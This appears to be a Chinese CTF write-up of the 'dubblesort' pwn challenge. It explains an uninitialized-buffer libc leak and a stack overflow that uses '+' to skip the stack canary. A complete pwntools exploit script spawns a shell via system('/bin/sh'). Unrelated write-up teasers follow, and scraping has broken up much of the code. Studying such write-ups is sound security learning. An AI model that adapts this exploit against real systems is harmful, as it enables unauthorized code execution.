首先看一下程式的保護機制
保護全開,並且是乙個32位程式
然後,我們用ida分析一下
這裡,有兩個漏洞
第乙個是在呼叫read之前,沒有呼叫memset對
buf清空,因此,
buf裡可能之前會有一些殘留的關鍵資料
第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。
我們在read斷點,然後觀察棧中的資料,發現資料還未輸入時,棧裡就有一些關鍵資料
我們可以輸入7 * 4 = 28個字元,然後
printf時,就會把接下來的資料列印出來,直到遇
洩露這個資料後(當前為0xf7797244),然後我們找到libc的基位址,當前為0xf75e9000
然後我,我們算的它們之間的偏移
off = 0xf7797244 - 0xf75e9000 = 0x1ae244
於是,我們就這樣洩露libc位址
#洩露位址並計算出
libc
的位址payload =
'a'*0x1c
sh.sendafter(
'name :'
,payload)
sh.recvuntil(payload) #計算
libc
載入位址
libc_base = u32(sh.recv(4)) - off
system_addr = libc_base + libc.sym[
'system'
] binsh_addr = libc_base + libc.search(
'/bin/sh'
).next()
接下來,我們來做乙個實驗,讓我們先拋開本題,來看看這樣的**
#include
intmain()
}
然後,我們發現,當我們輸入
+或
-符號,
scanf就直接跳過了對
a的輸入
經過測試,%u、
%x、
%d等都有這種特性
然後,我們繼續分析此題,
我們接下來會輸入n個整數,存入v13的空間處,而v13在ebp-0x70處,v15存的是canary的值,它位於ebp-0x10處,我們不能把canary的值給改了,我們需要保留它,因此,我們先輸入
(0x70-0x10)/4 = 24個整數,然後接下來輸入
+或
-號,跳過當前輸入,然後我們到達ebp-0xc處,距離返回位址ebp+0x4還差0x10/4=4個,因此,我們繼續輸入4個整數,接下來,我們再輸入rop即可
注意,本題ida分析出來的位置相對於ebp不准,但是各個變數之間的相對關係還是準的
實際,距離返回位址
ebp+0x4還差
7個,除錯除錯就知道了
由於,我們輸入的資料會做一遍公升序排序,所以,為了保留我們輸入的順序,我們前24個資料都輸入
0,然後輸入
+或
-跳過
canary,然後輸入
(7 + 1 + 1)個
system的位址整數值,然後輸入乙個
binsh_addr的整數值,程式退出
main後,便執行
shell
因為system_addr總是小於binsh_addr,而這兩個位址值一般大於canary的值,canary是個隨機生成的數,如果有時不滿足這個大小關係,只需重新執行程式,多試幾次即可。
於是,我們最終的exp指令碼是這樣的
#coding:utf8
frompwnimport*
sh = process(
'./dubblesort'
,env=)
#sh = remote('111.198.29.45',57605)
libc = elf(
'./libc_32.so.6'
) off = 0x1ae244
#洩露位址並計算出
libc
的位址payload =
'a'*0x1c
sh.sendafter(
'name :'
,payload)
sh.recvuntil(payload) #計算
libc
載入位址
libc_base = u32(sh.recv(4)) - off
system_addr = libc_base + libc.sym[
'system'
] binsh_addr = libc_base + libc.search(
'/bin/sh'
).next()
print'libc_base='
,hex(libc_base)
print'system_addr='
,hex(system_addr)
n = 35
sh.sendlineafter(
'sort :'
,str(n))
foriinrange(0,n-11):
sh.sendlineafter(
'number :'
,str(0))
sh.sendlineafter(
'number :'
,'+'
)foriinrange(0,9):
sh.sendlineafter(
'number :'
,str(system_addr))
sh.sendlineafter(
'number :'
,str(binsh_addr))
sh.interactive()
本題告訴我們,
用read讀取資料到緩衝區前,先對緩衝區初始化
陣列要檢查下標越界
攻防世界PWN之Welpwn題解
首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...
攻防世界PWN之Nobug題解
首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...
攻防世界PWN之easy fmt題解
首先,檢查一下程式的保護機制 然後,我們用ida分析一下 存在乙個明顯的格式化字串漏洞,但是只能用一次,後面exit 0 會結束程式 checkin需要爆破 是乙個隨機數,且只有一位,我們直接輸入2,成功率1 10 為了不讓程式退出,多次利用printf,我們就得利用第一次的printf把exit的...